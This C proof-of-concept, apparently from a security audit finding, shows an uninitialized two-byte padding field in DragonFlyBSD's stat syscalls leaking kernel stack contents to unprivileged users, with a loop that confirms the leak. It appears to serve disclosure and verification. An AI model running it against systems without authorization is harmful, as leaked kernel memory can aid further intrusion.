DF-0034 / leak_stpad.c
/* * DF-0034 PoC - uninitialized st_padding1 leaked via every stat syscall. * * vn_stat (sys/kern/vfs_vnops.c:833-977) zeros the spare fields st_lspare and * st_qspare2 (:852-853) but NEVER writes sb->st_padding1 (sys/sys/stat.h:105, * __uint16_t). Every stat syscall handler declares `struct stat st;` on the * kernel stack unzeroed and copyout()s sizeof(struct stat), leaking 2 bytes of * uninitialized kernel stack per fstat/stat/lstat/fstatat/fhstat. * * Build (DragonFlyBSD): cc -o leak_stpad leak_stpad.c * Run as an UNPRIVILEGED user: ./leak_stpad | sort -u | head * * Expected (bug present): prints non-zero, varying byte pairs (kernel-stack * residue) at offsetof(struct stat, st_padding1). On a fixed kernel it is 0. */ #include <sys/stat.h> #include <stddef.h> #include <fcntl.h> #include <stdio.h> #include <string.h> int main(void) { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) { perror("open"); return 1; } unsigned off = offsetof(struct stat, st_padding1); /* 18 on amd64 */ unsigned nonzero = 0; for (int i = 0; i < 20000; i++) { struct stat st; memset(&st, 0xAA, sizeof(st)); /* marker */ if (fstat(fd, &st) != 0) continue; unsigned char a = ((unsigned char *)&st)[off]; unsigned char b = ((unsigned char *)&st)[off + 1]; if (a != 0xAA && a != 0x00) nonzero++; if (i < 8) printf("sample %d: st_padding1 = %02x %02x\n", i, a, b); } printf("\nsamples with non-marker/non-zero st_padding1 byte: %u\n", nonzero); printf("result: %s\n", nonzero ? "LEAK CONFIRMED" : "no residue this run"); return nonzero ? 0 : 2; } |